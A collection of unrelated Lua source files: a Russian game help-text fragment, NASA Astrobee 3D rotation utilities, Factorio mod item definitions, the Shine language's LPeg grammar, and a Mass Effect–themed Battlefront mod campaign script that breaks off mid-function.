body = body.."<font size='+3'>Прицельная атака</font><p>Вы можете совершить прицельный удар в выбранную часть тела оппонента. В этом случае Вы гарантированно попадете в цель, но показатель точности атаки будет снижен.</p>"
return body
end
end)
|
-- Copyright (c) 2017, United States Government, as represented by the
-- Administrator of the National Aeronautics and Space Administration.
--
-- All rights reserved.
--
-- The Astrobee platform is licensed under the Apache License, Version 2.0
-- (the "License"); you may not use this file except in compliance with the
-- License. You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
-- WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
-- License for the specific language governing permissions and limitations
-- under the License.
-- A set of utilities to manage 3D rotations
require "matrix"
require "string"
local matrix = require 'matrix'
function rot_matrix_z(angle)
return matrix{
{math.cos(angle), -math.sin(angle), 0.0},
{math.sin(angle), math.cos(angle), 0.0},
{0.0, 0.0, 1.0}
}
end
function rot_matrix_y(angle)
return matrix{
{math.cos(angle), 0.0, math.sin(angle)},
{0.0, 1.0, 0.0},
{-math.sin(angle), 0.0, math.cos(angle)}
}
end
function rot_matrix_x(angle)
return matrix{
{1.0, 0.0, 0.0},
{0.0, math.cos(angle), -math.sin(angle)},
{0.0, math.sin(angle), math.cos(angle)}
}
end
function rot_matrix(angle, axis)
rot = {}
rot['X'] = rot_matrix_x
rot['Y'] = rot_matrix_y
rot['Z'] = rot_matrix_z
return rot[string.upper(axis)](angle)
end
function matrix_equal(m1, m2)
l1, c1 = matrix.size(m1)
l2, c2 = matrix.size(m2)
if (l1 ~= l2 or c1 ~= c2) then return false end
for i=1,l1 do
for j=1,c1 do
if ( math.abs(m1[i][j]-m2[i][j]) > 1E-6 ) then return false end
end
end
return true
end
--[[
Create a rotation matrix from ZYX Euler angles
ZYX Euler angles represent a rotation around the moving axes in this order:
- rotate around Z by the angle alpha
- rotate around Y' (rotated Y) by the angle beta
- rotate around X" (rotated X) by the angle gamma
Note that this is the exact same transform around the fixed axes (XYZ static):
- rotate around X by the angle gamma
- rotate around Y by the angle beta
- rotate around Z by the angle alpha
--> RXYZ(gamma, beta, alpha) = RZ(alpha)*RY(beta)*RX(gamma)
--]]
function rot_matrix_from_euler(alpha, beta, gamma)
ca = math.cos(alpha)
cb = math.cos(beta);
cg = math.cos(gamma);
sa = math.sin(alpha);
sb = math.sin(beta);
sg = math.sin(gamma);
return matrix{
{ca*cb, ca*sb*sg-sa*cg, ca*sb*cg+sa*sg},
{sa*cb, sa*sb*sg+ca*cg, sa*sb*cg-ca*sg},
{-sb, cb*sg, cb*cg}
}
end
euler2rmat = rot_matrix_from_euler
-- normalize a quaternion
function quat4_normalize(q)
n = math.sqrt(q.x*q.x+q.y*q.y+q.z*q.z+q.w*q.w)
return quat4(q.x/n, q.y/n, q.z/n, q.w/n)
end
--[[
Create a rotation matrix from a quaternion
--]]
function rot_matrix_from_quat4(q)
qn = quat4_normalize(q)
x = qn.x
y = qn.y
z = qn.z
s = qn.w
qx2 = qn.x*qn.x
qy2 = qn.y*qn.y
qz2 = qn.z*qn.z
qw2 = qn.w*qn.w
return matrix {
{1-2*qy2-2*qz2, 2*x*y-2*s*z, 2*x*z+2*s*y},
{2*x*y+2*s*z, 1-2*qx2-2*qz2, 2*y*z-2*s*x},
{2*x*z-2*s*y, 2*y*z+2*s*x, 1-2*qx2-2*qy2}
}
end
quat2rmat = rot_matrix_from_quat4
--[[
Create a rotation matrix from a quaternion
(computer graphics solution by Shoemake 1994)
--]]
function quat4_from_rot_matrix(m)
tr = m[1][1] + m[2][2] + m[3][3]
q = quat4(0,0,0,1)
if ( tr >= 0 ) then
s4 = 2.0 * math.sqrt( tr + 1.0 ) -- s4 = 4*qw
q.w = s4 / 4.0
q.x = ( m[3][2] - m[2][3] ) / s4
q.y = ( m[1][3] - m[3][1] ) / s4
q.z = ( m[2][1] - m[1][2] ) / s4
elseif ( m[1][1]>m[2][2] and m[1][1]>m[3][3]) then
s4 = 2.0* math.sqrt( 1.0 + m[1][1] - m[2][2] - m[3][3] ) -- s4 = 4*qx
q.w = ( m[3][2] - m[2][3] ) / s4
q.x = s4 / 4.0
q.y = ( m[1][2] + m[2][1] ) / s4
q.z = ( m[3][1] + m[1][3] ) / s4
elseif ( m[2][2] > m[3][3] ) then
s4 = 2.0 * math.sqrt( 1.0 + m[2][2] - m[1][1] - m[3][3] ) -- s4 = 4*qy
q.w = ( m[1][3] - m[3][1] ) / s4
q.x = ( m[1][2] + m[2][1] ) / s4
q.y = s4 / 4.0
q.z = ( m[2][3] + m[3][2] ) / s4
else
s4 = 2.0 * math.sqrt( 1.0 + m[3][3] - m[1][1] - m[2][2]) -- s4 = 4*qz
q.w = ( m[2][1] - m[1][2] ) / s4
q.x = ( m[3][1] + m[1][3] ) / s4
q.y = ( m[2][3] + m[3][2] ) / s4
q.z = s4 / 4.0
end
return q
end
rmat2quat= quat4_from_rot_matrix
function printquat(q)
print("quat(x,y,z,w)=(" .. q.x .. "," .. q.y .. "," .. q.z .. "," .. q.w ..")")
end
|
function momoIRTweak.item.InitScienceMaterials()
local item = momoIRTweak.item
item.vial = momoIRTweak.item.NewScienceMaterialsItem("momo-science-vial")
item.spp1 = momoIRTweak.item.NewScienceMaterialsItem("momo-science-processor-pack-1")
item.sppMilitary = momoIRTweak.item.NewScienceMaterialsItem("momo-science-processor-pack-military")
item.spp2 = momoIRTweak.item.NewScienceMaterialsItem("momo-science-processor-pack-2")
item.sppProduction = momoIRTweak.item.NewScienceMaterialsItem("momo-science-processor-pack-production")
item.spp3 = momoIRTweak.item.NewScienceMaterialsItem("momo-science-processor-pack-3")
item.scienceBlueprint1 = momoIRTweak.item.NewScienceMaterialsItem("momo-science-blueprint-1")
item.scienceBlueprint2 = momoIRTweak.item.NewScienceMaterialsItem("momo-science-blueprint-2")
item.scienceBlueprint3 = momoIRTweak.item.NewScienceMaterialsItem("momo-science-blueprint-3")
item.productionBox = momoIRTweak.item.NewScienceMaterialsItem("momo-production-box")
item.productionBox2 = momoIRTweak.item.NewScienceMaterialsItem("momo-production-box-2")
item.scienceComputer1 = momoIRTweak.item.NewScienceMaterialsBaseItem("momo-science-computer-mk1", momoIRTweak.dir.baseIconPath .. "32/momo-science-computer-mk1")
item.scienceComputer2 = momoIRTweak.item.NewScienceMaterialsBaseItem("momo-science-computer-mk2", momoIRTweak.dir.baseIconPath .. "32/momo-science-computer-mk2")
item.scienceComputer3 = momoIRTweak.item.NewScienceMaterialsBaseItem("momo-science-computer-mk3", momoIRTweak.dir.baseIconPath .. "32/momo-science-computer-mk3")
item.gpu = momoIRTweak.item.NewScienceMaterialsItem("momo-science-gpu")
end
|
--[=[
Copyright (C) 2013-2014 Richard Hundt and contributors.
See Copyright Notice in shine
]=]
local lpeg = require('lpeg')
local util = require('shine.lang.util')
local defs = require('shine.lang.tree')
local re = require('shine.lang.re')
lpeg.setmaxstack(1024)
local patt = [=[
chunk <- (%2 => topline) {|
<shebang>? s (<stmt> (<sep> s <stmt>)* <sep>?)? s (!. / %1 => error)
|} -> chunk
shebang <- '#!' (!<nl> .)*
lcomment <- "--" (!<nl> .)* <nl>
bclose <- ']' =eq ']' / (<nl> / .) <bclose>
bcomment <- ('--[' {:eq: (!'[' .)* :} '[' <bclose>)
cclose <- ':' =mk ':' / (<nl> / .) <cclose>
ccomment <- ('--:' {:mk: (!(':'/'(').)* :} ('(' (!')'.)* ')')? ':' <cclose>)
comment <- <bcomment> / <ccomment> / <lcomment>
idsafe <- !(%alnum / "_" / "!" / "?" / "$")
nl <- %nl -> incline
s <- (<comment> / <nl> / !%nl %s)*
S <- (<comment> / <nl> / !%nl %s)+
ws <- <nl> / %s
hs <- (!%nl %s)*
HS <- (!%nl %s)+
word <- (%alpha / "_" / "$" / "?") (%alnum / "_" / "$" / "!" / "?")*
reserved <- (
"local" / "function" / "nil" / "true" / "false" / "return" / "end"
/ "break" / "goto" / "not" / "do" / "for" / "in" / "and" / "or"
/ "while" / "repeat" / "until" / "if" / "elseif" / "else" / "then"
) <idsafe>
keyword <- (
<reserved> / "class" / "module" / "continue" / "throw" / "super"
/ "import" / "export" / "try" / "catch" / "finally" / "is" / "as"
/ "include" / "grammar" / "given" / "case" / "macro"/ "with"
) <idsafe>
sep <- <bcomment>? (<nl> / ";" / <lcomment>) / <ws> <sep>?
escape <- {~ ('\' (
'x' %xdigit %xdigit / 'u' %xdigit %xdigit %xdigit %xdigit
/ %digit (%digit %digit?)? / .
)) -> escape ~}
astring <- (
"'''" {~ (<nl> / ("\\" -> "\") / ("\'" -> "'") / {!"'''" .})* ~} "'''"
) / (
"'" {~ (<nl> / ("\\" -> "\") / ("\'" -> "'") / {!"'" .})* ~} "'"
)
qstring <- {|
('"""' (
<raw_expr> / {~ (<escape> / <nl> / !(<raw_expr> / '"""') .)+ ~}
)* '"""')
/
('"' (
<raw_expr> / {~ (<escape> / <nl> / !(<raw_expr> / '"') .)+ ~}
)* '"')
|} -> rawString
raw_expr <- (
"%{" s <expr> s "}"
) -> rawExpr
string <- <astring>
octal <- { "0o" [0-7]+ }
heximal <- { "0x" %xdigit+ }
decexp <- ("e"/"E") "-"? %digit+
double <- (
%digit+ ("." !"." %digit+ <decexp>? / <decexp>)
) -> double
integer <- ((
<heximal> / <octal> / { %digit+ }
) {'LL' / 'ULL'}?) -> integer
number <- <double> / <integer>
boolean <- (
{"true"/"false"} <idsafe>
) -> boolean
literal <- ( <number> / <string> / <boolean> ) -> literal
in <- "in" <idsafe>
end <- "end" <idsafe>
do <- "do" <idsafe>
export_stmt <- (
"export" <idsafe> s {| <ident_list> |}
) -> exportStmt
import_stmt <- (
"import" <idsafe> s
({<import_macro_keyword>?} (<import_from> / <import_path>)) -> importStmt
)
import_macro_keyword <- "macro" <idsafe> s
import_path <- {| <import_path_expr> |} -> importPath
import_path_expr <- (
<ident> "." <import_path_expr>
/ {:names: {| "{" s <import_name> (s "," s <import_name>)* s "}" |} :}
/ {:names: {| {| <ident> |} |} :}
)
import_from <- (
{| <import_name> (s "," s <import_name>)* |} s
"from" <idsafe> s <expr>
) -> importFrom
import_name <- {|
<ident> (hs "=" hs <ident>)?
|}
stmt <- (('' -> curline) (
<import_stmt>
/ <export_stmt>
/ <if_stmt>
/ <while_stmt>
/ <repeat_stmt>
/ <for_stmt>
/ <for_in_stmt>
/ <do_stmt>
/ <decl_stmt>
/ <macro_decl>
/ <return_stmt>
/ <try_stmt>
/ <throw_stmt>
/ <break_stmt>
/ <continue_stmt>
/ <given_stmt>
/ <label_stmt>
/ <goto_stmt>
/ <expr_stmt>
)) -> stmt
stmt_list <- {|
(<stmt> (<sep> s <stmt>)* <sep>?)?
|}
label_stmt <- (
<ident> ':' !':'
) -> labelStmt
goto_stmt <- (
'goto' <idsafe> hs <ident>
) -> gotoStmt
break_stmt <- (
"break" <idsafe>
) -> breakStmt
continue_stmt <- (
"continue" <idsafe>
) -> continueStmt
return_stmt <- (
"return" <idsafe> {| (hs <expr_list>)? |}
) -> returnStmt
throw_stmt <- (
"throw" <idsafe> hs <expr>
) -> throwStmt
try_stmt <- (
"try" <idsafe> s <block_stmt>
{| <catch_clause>* |} (s "finally" <idsafe> s <block_stmt>)?
s (<end> / %1 => error)
) -> tryStmt
catch_clause <- (
s "catch" <idsafe> hs
<ident> (hs "if" <idsafe> s <expr>)? hs "then" <idsafe> s <block_stmt> s
) -> catchClause
decl_stmt <- (
{| (<decorator> (s <decorator>)* s)? |} (
<local_coro>
/ <local_func>
/ <local_decl>
/ <coro_decl>
/ <func_decl>
/ <class_decl>
/ <module_decl>
/ <grammar_decl>
)
) -> declStmt
decorator <- (
"@" <term>
) -> decorator
guarded_ident <- (
<ident> hs "is" <idsafe> s <expr>
) -> guardedIdent
local_decl <- (
"local" <idsafe> %1 s {| <bind_left> (s "," s <bind_left>)* |}
(s ({"="} s {| <expr_list> |} / {"in"} <idsafe> s <expr>))?
) -> localDecl
local_func <- (
"local" <idsafe> s
"function" <idsafe> s <ident> s <func_head> s <func_body>
) -> localFuncDecl
local_coro <- (
"local" <idsafe> s
"function*" <idsafe> s <ident> s <func_head> s <func_body>
) -> localCoroDecl
macro_decl <- (
"macro" <idsafe> s <ident> s (
{"="} s <ident> /
"(" s {| <expr_list> |} s ")" s
<stmt_list> s
(<end> / %1 => error)
)
) -> macroDecl
bind_left <- (
<array_patt>
/ <table_patt>
/ <guarded_ident>
/ <term>
)
array_patt <- (
"[" s {| <bind_left> (s "," s <bind_left>)* |} s ("]" / %1 => error)
) -> arrayPatt
table_sep <- (
hs (","/";"/<nl>)
)
table_patt <- (
"{" s {|
<table_patt_pair> (<table_sep> s <table_patt_pair>)*
<table_sep>?
|} s ("}" / %1 => error)
) -> tablePatt
table_patt_pair <- {|
( {:name: <name> :} / {:expr: "[" s <expr> s "]" :} ) s
"=" s {:value: <bind_left> :}
/ {:value: <bind_left> :}
|}
ident_list <- (
<ident> (s "," s <ident>)*
)
expr_list <- (
<expr> (s "," s <expr>)*
)
qname <- (
(<ident> (s {"."} s <qname> / s {"::"} s <qname>)) / <ident>
)
func_decl <- (
"function" <idsafe> s {| <qname> |} s <func_head> s <func_body>
) -> funcDecl
func_head <- (
"(" s {| <param_list>? |} s ")"
)
func_expr <- (
"function" <idsafe> s <func_head> s <func_body>
/ (<func_head> / {| |}) s "=>" (
hs {| <expr_list> |}
/ s <block_stmt> s (<end> / %1 => error)
/ %1 => error
)
) -> funcExpr
func_body <- <block_stmt> s (<end> / %1 => error)
coro_expr <- (
"function*" s <func_head> s <func_body>
/ "*" <func_head> s "=>" s (hs <expr> / <block_stmt> s <end> / %1 => error)
) -> coroExpr
coro_decl <- (
"function*" s {| <qname> |} s <func_head> s <func_body>
) -> coroDecl
coro_prop <- (
({"get"/"set"} <idsafe> HS &<ident> / '' -> "init") "*" <ident> s
<func_head> s <func_body>
) -> coroProp
include_stmt <- (
"include" <idsafe> s {| <expr_list> |}
) -> includeStmt
module_decl <- (
({"local"} <idsafe> s / '' -> "package")
"module" <idsafe> s <ident> s
<class_body> s
(<end> / %1 => error)
) -> moduleDecl
class_decl <- (
({"local"} <idsafe> s / '' -> "package")
"class" <idsafe> s <ident> (s <class_heritage>)? s
<class_body> s
(<end> / %1 => error)
) -> classDecl
class_body <- {|
(<class_body_stmt> (<sep> s <class_body_stmt>)* <sep>?)?
|} -> classBody
class_body_stmt <- (('' -> curline) (
<class_member> / <include_stmt> / !<return_stmt> <stmt>
)) -> stmt
class_member <- (
{| (<decorator> (s <decorator>)* s)? |} (
<coro_prop> / <prop_defn>
)
) -> classMember
class_heritage <- (
"extends" <idsafe> s <expr> / {| |}
)
prop_defn <- (
({"get"/"set"} <idsafe> HS &<ident> / '' -> "init") <ident> s
<func_head> s <func_body>
) -> propDefn
param <- {|
{:name: <ident> :}
(s "is" <idsafe> s {:guard: <expr> :})?
(s "=" s {:default: <expr> :})?
|}
param_list <- (
<param> s "," s <param_list>
/ <param> s "," s <param_rest>
/ <param>
/ <param_rest>
)
param_rest <- {| "..." {:name: <ident>? :} {:rest: '' -> 'true' :} |}
block_stmt <- (
{| (<stmt> (<sep> s <stmt>)* <sep>?)? |}
) -> blockStmt
if_stmt <- (
"if" <idsafe> s <expr> s ("then" <idsafe> / %1 => error) s <block_stmt> s (
"else" <if_stmt>
/ "else" <idsafe> s <block_stmt> s (<end> / %1 => error)
/ (<end> / %1 => error)
)
) -> ifStmt
given_stmt <- (
"given" <idsafe> s <expr>
({| <given_case>+ |} / %1 => error)
(s "else" <idsafe> s <block_stmt>)? s
(<end> / %1 => error)
) -> givenStmt
given_case <- (
s "case" <idsafe> s (
<array_patt>
/ <table_patt>
/ <expr>
)
{| (s "if" <idsafe> s <expr>)? |}
s "then" <idsafe> s <block_stmt>
) -> givenCase
for_stmt <- (
"for" <idsafe> s <ident> s "=" s <expr> s "," s <expr>
(s "," s <expr> / ('' -> '1') -> literalNumber) s
<loop_body>
) -> forStmt
for_in_stmt <- (
"for" <idsafe> s {| <ident_list> |} s <in> s <expr> s
<loop_body>
) -> forInStmt
loop_body <- <do> s <block_stmt> s (<end> / %1 => error)
do_stmt <- <loop_body> -> doStmt
while_stmt <- (
"while" <idsafe> s <expr> s <loop_body>
) -> whileStmt
repeat_stmt <- (
"repeat" <idsafe> s <block_stmt> s ("until" <idsafe> s <expr> / %1 => error)
) -> repeatStmt
ident <- (
!<keyword> { <word> }
) -> identifier
name <- (
!<reserved> { <word> }
) -> identifier
primary <- (('' -> curline) (
<coro_expr>
/ <func_expr>
/ <nil_expr>
/ <super_expr>
/ <comp_expr>
/ <table_expr>
/ <array_expr>
/ <regex_expr>
/ <ident>
/ <literal>
/ <qstring>
/ (("(" s <expr> s (")" / %1 => error)) -> parenExpr)
))
term <- (
<primary> {| (
s {'.' / '::'} s <name>
/ { "[" } s <expr> s ("]" / %1 => error)
/ { "(" } s {| <expr_list>? |} s (")" / %1 => error)
)* (
{~ (hs &['"[{] / HS) -> "(" ~}
{| <spread_expr> / !<binop> <expr_list> |}
)? |}
) -> term
expr <- (('' -> curline) (<in_expr> / <infix_expr> / <spread_expr>)) -> expr
spread_expr <- (
"..." <term>?
) -> spreadExpr
in_expr <- (
{| <ident_list> |} s "in" <idsafe> s <expr>
) -> inExpr
nil_expr <- (
"nil" <idsafe>
) -> nilExpr
super_expr <- (
"super" <idsafe>
) -> superExpr
expr_stmt <- (
('' -> curline) <update_expr>
) -> exprStmt
binop <- {
"+" / "-" / "~~" / "~" / "/" / "**" / "*" / "%" / "^"
/ "|" / "&" / ">>>" / ">>" / ">=" / ">" / "<<" / "<="
/ "<" / ".." / "!=" / "==" / "!~" / ":" [+-~/*%^|&><!?=]
/ ("or" / "and" / "is" / "as") <idsafe>
}
infix_expr <- (
{| <prefix_expr> (s <binop> s <prefix_expr>)* |}
) -> infixExpr
prefix_expr <- (
({ "#" / "-" !'-' / "~" / "!" !"~" / "not" <idsafe> } s)? <term>
) -> prefixExpr
assop <- {
"+=" / "-=" / "~=" / "**=" / "*=" / "/=" / "%=" / "and="
/ "|=" / "or=" / "&=" / "^=" / "<<=" / ">>>=" / ">>="
}
update_expr <- (
<bind_left> {|
(s {:oper: <assop> :} s {:expr: <expr> :})
/ ((s "," s <bind_left>)* s {:oper: {'=' !'>' / 'in' <idsafe>} :}
s {:list: {| <expr_list> |} :})
|}?
) -> updateExpr
array_expr <- (
"[" s {| <array_elements>? |} s ("]" / %1 => error)
) -> arrayExpr
array_elements <- <expr> (s "," s <expr>)* (s ",")?
table_expr <- (
"{" s {| <table_entries>? |} s ("}" / %1 => error)
) -> tableExpr
table_entries <- (
<table_entry> (<table_sep> s <table_entry>)* <table_sep>?
)
table_entry <- {|
( {:name: <name> :} / {:expr: "[" s <expr> s "]" :} ) s
"=" !'>' s {:value: <expr> :}
/ {:value: <expr> :}
|} -> tableEntry
comp_expr <- (
"[" s <expr> {| (s <comp_block>)+ |} s ("]" / %1 => error)
) -> compExpr
comp_block <- (
"for" <idsafe> s {| <ident_list> |} s <in> s <expr>
(s "if" <idsafe> s <expr>)? s
) -> compBlock
regex_expr <- (
"/" s (<patt_grammar> / <patt_expr>) s ("/" / %s => error)
) -> regexExpr
grammar_decl <- (
({"local"} <idsafe> s / '' -> "package")
"grammar" <idsafe> HS <ident> (s <grammar_body>)? s
(<end> / %1 => error)
) -> grammarDecl
grammar_body <- {|
(<grammar_body_stmt> (<sep> s <grammar_body_stmt>)* <sep>?)?
|}
grammar_body_stmt <- (
<patt_rule> / <class_body_stmt>
)
patt_expr <- (('' -> curline) <patt_alt>) -> pattExpr
patt_grammar <- {|
<patt_rule> (s <patt_rule>)*
|} -> pattGrammar
patt_rule <- (
<patt_name> hs '<-' s <patt_expr>
) -> pattRule
patt_sep <- '|' !'}'
patt_alt <- {|
<patt_seq> (s <patt_sep> s <patt_seq>)*
|} -> pattAlt
patt_seq <- {|
(<patt_prefix> (s <patt_prefix>)*)?
|} -> pattSeq
patt_any <- '.' -> pattAny
patt_prefix <- (
<patt_assert> / <patt_suffix>
)
patt_assert <- (
{'&' / '!' } s <patt_prefix>
) -> pattAssert
patt_suffix <- (
<patt_primary> {| (s <patt_tail>)* |}
) -> pattSuffix
patt_tail <- (
<patt_opt> / <patt_rep> / <patt_prod>
)
patt_prod <- (
{'~>'} s <term>
/ {'->'} s <term>
/ {'+>'} s <term>
) -> pattProd
patt_opt <- (
!'+>' { [+*?] }
) -> pattOpt
patt_rep <- (
'^' { [+-]? <patt_num> }
) -> pattRep
patt_capt <- (
<patt_capt_subst>
/ <patt_capt_const>
/ <patt_capt_group>
/ <patt_capt_table>
/ <patt_capt_basic>
/ <patt_capt_back>
/ <patt_capt_bref>
)
patt_capt_subst <- (
'{~' s <patt_expr> s '~}'
) -> pattCaptSubst
patt_capt_group <- (
'{:' (<patt_name> ':')? s <patt_expr> s ':}'
) -> pattCaptGroup
patt_capt_table <- (
'{|' s <patt_expr> s '|}'
) -> pattCaptTable
patt_capt_basic <- (
'{' s <patt_expr> s '}'
) -> pattCaptBasic
patt_capt_const <- (
'{`' s <expr> s '`}'
) -> pattCaptConst
patt_capt_back <- (
'{=' s <patt_name> s '=}'
) -> pattCaptBack
patt_capt_bref <- (
'=' <patt_name>
) -> pattCaptBackRef
patt_primary <- (
'(' s <patt_expr> s ')'
/ <patt_term>
/ <patt_class>
/ <patt_predef>
/ <patt_capt>
/ <patt_arg>
/ <patt_any>
/ <patt_ref>
/ '<{' s <expr> s '}>'
)
patt_ref <- (
'<' <patt_name> '>'
) -> pattRef
patt_arg <- (
'%' { <patt_num> }
) -> pattArg
patt_class <- (
'[' {'^' / ''} {| <patt_item> (!']' <patt_item>)* |} ']'
) -> pattClass
patt_item <- (
<patt_predef> / <patt_range> / ({~ <escape> / . ~} -> pattTerm)
)
patt_term <- (
'"' ({~ (<escape> / <nl> / !'"' .)+ ~})* '"'
/ "'" ({~ (<nl> / !"'" .)+ ~})* "'"
) -> pattTerm
patt_range <- ({~ <escape> / . ~} '-' {~ <escape> / !"]" . ~}) -> pattRange
patt_name <- { [A-Za-z_][A-Za-z0-9_]* } -> pattName
patt_num <- [0-9]+
patt_predef <- '%' <patt_name> -> pattPredef
]=]
local grammar = re.compile(patt, defs)
local function parse(src, name, line, ...)
return grammar:match(src, nil, name, line or 1, ...)
end
return {
parse = parse
}
|
ReadDataFile("..\\..\\addon\\ME5\\data\\_LVL_PC\\master.lvl")
RandomSide = 1
isModMap = 1
local bDebug = false
local mapDebug = false
--
-- Copyright (c) 2005 Pandemic Studios, LLC. All rights reserved.
--
MEUGameMode = 7
-- load the gametype script
ScriptCB_DoFile("ME5_Master")
MEUGameMode = meu_campaign
ScriptCB_DoFile("ME5_setup_teams")
ScriptCB_DoFile("ME5_MultiObjectiveContainer")
ScriptCB_DoFile("ME5_ObjectiveAssault")
ScriptCB_DoFile("ME5_ObjectiveConquest")
ScriptCB_DoFile("ME5_ObjectiveGoto")
MEUGameMode = meu_campaign
ScriptCB_DoFile("ME5_CinematicContainer")
ScriptCB_DoFile("ME5_CameraFunctions")
ScriptCB_DoFile("ME5_CombatManager")
--ScriptCB_DoFile("ME5_CinematicOverlayIFS")
ScriptCB_DoFile("Ambush")
mapSize = xs
EnvironmentType = 4
--[[onlineSideVar = SSVxGTH
onlineHeroSSV = shep_vanguard
onlineHeroGTH = gethprime_me2
onlineHeroCOL = colgeneral
onlineHeroEVG = gethprime_me3]]
REP = 1 -- The player's team.
CIS = 2 -- Team for the Geth Troopers and Rocketeers. Note: synonymous with teamID 'GethPawns'.
SQD = 3 -- Team for the player's squad.
GethHusks = 0 -- Team for the Husks. (DEPRECATED)
GethPawns = CIS -- Team for the Geth Troopers and Rocketeers. Note: synonymous with teamID 'CIS'.
GethTacticals = 4 -- Team for the Geth Snipers and Hunters.
GethSpecials = 5 -- Team for the Geth Machinists and Shock Troopers.
GethHeavys = 6 -- Team for the Geth Destroyers and Juggernauts.
GethPrimes = 7 -- Team for the Geth Primes.
ATT = 1
DEF = 2
local playerLives = 10 -- The amount of lives the player has. A value of -1 denotes infinite lives.
local playerMaxHealth = nil -- The player's max health for their current class.
local playerMinHealth = nil -- The value to restore the player's health to after every combat zone.
local playerCurHealth = nil -- The player's current health.
local playerHealthThreshold = 0.4 -- The percentage form of playerMinHealth. Must be > playerHealthThreshold in fLowHealthSound().
local playerHealthAddRate = 50 -- The amount of health that is restored to the player per second.
local squadDefenseBuff = nil -- The multiplier for the player's squad's health/shields.
local enemyDefenseBuff = nil -- The multiplier for the enemy units' health/shields.
local bossDefenseBuff = nil -- The multiplier for the final boss.
local squadAggro = nil -- The aggressiveness of the player's squad.
local enemyAggro = nil -- The aggressiveness of the enemy units.
local bossAggro = nil -- The aggressiveness of the final boss.
local bInCombat = false -- Is the player currently in combat?
local currentZoneID = "none" -- What is the name ID of the current combat zone?
local numCinematicShakes = 0 -- How many cinematic shakes have there been?
local camShakeCharUnit = nil -- The player character unit.
local bConsoleWorkaround = true
SmartSpawn_curAllySpawn = nil
SmartSpawn_curEnemySpawn = nil
-- CASUAL
if ME5_Difficulty == 1 then
squadDefenseBuff = 1.0
enemyDefenseBuff = 1.0
bossDefenseBuff = 1.0
squadAggro = 0.89
enemyAggro = 0.87
bossAggro = 0.92
-- NORMAL
elseif ME5_Difficulty == 2 then
squadDefenseBuff = 1.1
enemyDefenseBuff = 1.25
bossDefenseBuff = 1.25
squadAggro = 0.90
enemyAggro = 0.90
bossAggro = 0.94
-- VETERAN
elseif ME5_Difficulty == 3 then
squadDefenseBuff = 1.2
enemyDefenseBuff = 1.5
bossDefenseBuff = 1.5
squadAggro = 0.91
enemyAggro = 0.93
bossAggro = 0.96
-- HARDCORE
elseif ME5_Difficulty == 4 then
squadDefenseBuff = 1.3
enemyDefenseBuff = 1.75
bossDefenseBuff = 1.75
squadAggro = 0.92
enemyAggro = 0.96
bossAggro = 0.98
-- INSANITY
elseif ME5_Difficulty == 5 then
squadDefenseBuff = 1.4
enemyDefenseBuff = 2.0
bossDefenseBuff = 2.0
squadAggro = 0.93
enemyAggro = 0.99
bossAggro = 1.00
-- DEFAULT (used if ME5_Difficulty is invalid)
else
squadDefenseBuff = 1.1
enemyDefenseBuff = 1.25
bossDefenseBuff = 1.25
squadAggro = 0.90
enemyAggro = 0.90
bossAggro = 0.94
end
-- Table of all allied teams.
allyTeams = { REP,
SQD }
-- Table of all enemy teams.
enemyTeams = { GethPawns,
GethTacticals,
GethSpecials,
GethHeavys,
GethPrimes }
enemyBuildingClasses = { "gth_bldg_assaultdrone",
"gth_bldg_gethturret",
"gth_bldg_rocketdrone",
"gth_weap_inf_hexshield",
"gth_weap_inf_hexshield_jug",
"weap_tech_combatdronetur_incinerate",
"weap_tech_combatdronetur_rocket",
"weap_tech_combatdronetur_shock"}
---
-- Call this to check if the input /object/ matches one of the classes in /enemyBuildingClasses/.
-- @param #object object The object data to check.
-- @return #bool True, object is not an enemy building. False, object is an enemy building.
function IsObjectUnit(object)
--print("EXAMPLEn_c.IsObjectUnit(): Entered")
print("EXAMPLEn_c.IsObjectUnit(): Object class name:", GetEntityClass(object))
for i in pairs(enemyBuildingClasses) do
-- Is the object an enemy building?
if GetEntityClass(object) == FindEntityClass(enemyBuildingClasses[i]) then
print("EXAMPLEn_c.IsObjectUnit(): Object is an enemy building!")
return false
else
print("EXAMPLEn_c.IsObjectUnit(): Object is NOT an enemy building!")
return true
end
end
end
---
-- Restores the player's health until the health threshold is reached.
--
function RestorePlayerHealth()
print("EXAMPLEn_c.RestorePlayerHealth(): Entered")
local charPtr = GetCharacterUnit(0)
local entPtr = GetEntityPtr(charPtr)
-- What is the player's current health?
playerCurHealth = GetObjectHealth(entPtr)
-- How often in seconds will we check the player's health?
local checkInterval = 0.5
if playerCurHealth < playerMinHealth then
-- Start restoring the player's health
SetProperty(charPtr, "AddHealth", playerHealthAddRate)
-- Our timer for checking the player's health
local checkTimer = CreateTimer("checkTimer")
SetTimerValue(checkTimer, checkInterval)
--ShowTimer(checkTimer)
StartTimer(checkTimer)
-- Check the player's health every half of a second since we don't have an update function :(
local checkTimerElapse = OnTimerElapse(
function(timer)
-- Update the player's health
playerCurHealth = GetObjectHealth(entPtr)
print("EXAMPLEn_c.RestorePlayerHealth(): playerCurHealth:", playerCurHealth)
-- Is the player's health still low?
if playerCurHealth < playerMinHealth then
-- Restart the timer
SetTimerValue(checkTimer, checkInterval)
StartTimer(checkTimer)
else
print("EXAMPLEn_c.RestorePlayerHealth(): Threshold surpassed, stopping restoration")
-- Stop the timer
StopTimer(checkTimer)
-- Stop restoring health
SetProperty(charPtr, "AddHealth", 0)
DestroyTimer(checkTimer)
end
end,
"checkTimer"
)
end
end
---
-- Prints and returns the variable /playerCurHealth/.
-- @return The player's current health from /playerCurHealth/.
--
function GetPlayerCurHealth()
print("EXAMPLEn_c.GetPlayerCurHealth(): playerCurHealth:", playerCurHealth)
return playerCurHealth
end
---
-- Prints and returns the variable /playerMinHealth/.
-- @return The player's minimum health from /playerMinHealth/.
--
function GetPlayerMinHealth()
print("EXAMPLEn_c.GetPlayerCurHealth(): playerMinHealth:", playerMinHealth)
return playerMinHealth
end
---
-- Prints and returns the variable /playerMaxHealth/.
-- @return The player's maximum health from /playerMaxHealth/.
--
function GetPlayerMaxHealth()
print("EXAMPLEn_c.GetPlayerCurHealth(): playerMaxHealth:", playerMaxHealth)
return playerMaxHealth
end
function ScriptPostLoad()
EnableSPScriptedHeroes()
ScriptCB_EnableHeroMusic(0)
SetClassProperty(gth_inf_trooper, "MaxHealth", 230*enemyDefenseBuff)
SetClassProperty(gth_inf_trooper, "MaxShields", 520*enemyDefenseBuff)
